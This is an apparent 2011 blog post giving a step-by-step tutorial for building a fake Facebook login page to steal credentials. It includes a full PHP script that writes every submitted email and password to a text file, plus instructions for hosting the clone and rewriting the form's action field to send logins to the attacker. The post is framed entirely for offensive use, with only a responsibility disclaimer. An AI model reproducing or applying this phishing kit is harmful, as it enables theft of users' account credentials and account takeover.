0 comments

Royal Phishing

Published on Wednesday, May 11, 2011 in

I AM NOT RESPONSIBLE FOR ANYTHING YOU DO WITH THE FOLLOWING INFORMATION!
USE THIS PROCESS AT YOUR OWN RISK!

We'll look at Facebook.

Do this from Mozilla Firefox- if you dont have it- get it- its free- google it and download it

The first thing you need to do is go to the Facebook login page- make sure all the fields are blank on the login page (the email box and the password box)- if you're email address is in the email box when you do the next couple of steps- the person you're phishing will see your email in that box when they go to your phisher.

Once you're at a blank Facebook login page- hit on your keyboard the following:
Ctrl U (hold down the control button((ctrl)) and hit the 'U' key)

A box will pop up on your screen with ALOT of text in it. This is the 'source code' for the Facebook login page. Take a minutes to look through it- this source code IS the login page.

You dont need to really understand this code- select ALL of the source code and right-click and COPY it- now you can go ahead and close the window with the source code.

That was the first part- easy right?

Moving on:

-go to http://www.ripway.com
-set up an account (it's free)

You'll understand why you did this after the next couple steps.

Once you have successfully created an account on ripway.com- login to the account

You will have been assigned an account link that looks like this:
http://h1.ripway.com/_____/
Whatever you made your username on your ripway account will be in the /_____/ part of your link
OK? If your username is cricket- your link looks like this:
http://h1.ripway.com/cricket/

Moving on:

Looks towards the top of the page- you'll see some tabs- click on the tab that says 'My Files'

You'll be redirected to the 'My Files' page

From this page click on the 'Create File' tab

you should now be at a page with a blank text box on it

PASTE the source code you copied from the login page into this box

title the file 'login.php'

Once you have done this, create the file- below the box you pasted the source code in there should be a selection like 'Create file' or 'Save file'

Go back to the 'My Files' section of your account

Again- click on 'Create File'
Again- you're brought to a blank box

In this new file, you will paste the following script:

header ('Location: http://h1.ripway.com/______/login.php ');
$handle = fopen("passwords.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

Remember ( ! )- the ' /______/ ' is going to be YOUR account link!
So- if your username was made as cricket- your code should look like this:

header ('Location: http://h1.ripway.com/cricket/login.php ');
$handle = fopen("passwords.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

Name this file as ' phishing.php ' and save the file.

OK? You're nearly finished now- the next step can be tricky so I'll go into great detail:

What needs to be done now is to change the source code we copied and pasted into our file ' login.php ' to send information to us instead of sending that information to the Facebook server. This is what will make your phisher work or fail- so you must do it exactly right.

On ripway
-login to your account if you're not already logged in
-go to 'My Files'
-click on 'Edit' under the file we made called 'login.php'

The file will open
when you see your file and the code in it- do the following:
-click on the code- dont highlight anything- this is just to bring your computers attention to the box you're looking at
-on your keyboard- hold down the control key ((Ctrl)) and hit the 'F' key
-you will notice that at the bottom of the box containing your code- a little bar has popped up
-this is a tool you can use to search long source codes for certain words- this is how you navigate through source codes
-in the search bar type the following: ' action= ' (do not type the single quotes)
-do not hit enter- it should find the place in the source code as you're typing 'action=' into the search bar
-the cursor will jump to the point in the code where the string 'action=' is located

What you need to change to make your phisher work is the bit of the code that comes AFTER action=

Notice that immediately after 'action=' in the code there is a double quote ( " )

From this double quote up to the very next double quote is where you will insert the following code:

http://h1.ripway.com/____/phishing.php?login_attempt=1

Remeber that '/______/' will be your account username- so for bob it looks like this:

http://h1.ripway.com/bob/phishing.php?login_attempt=1

Save the file

You have now successfully created your phisher

Go to ripway
login to your account
go to 'My Files'
for the file you named 'login.php', there is a link there
copy that link
paste it somewhere
go to that link
you'll see the Facebook login page
enter in any email account and password and try to login
it looks like nothing happened
go back to ripway
login
go to 'My Files'
notice there is now a new file named 'password.txt'
click edit for this file
scroll down in the file
notice the email and password you attempted to login to Facebook as

Congratulations you've made a phisher!

Spread The Love, Share Our Article

Related Posts

No Response to "Royal Phishing"

Add Your Comment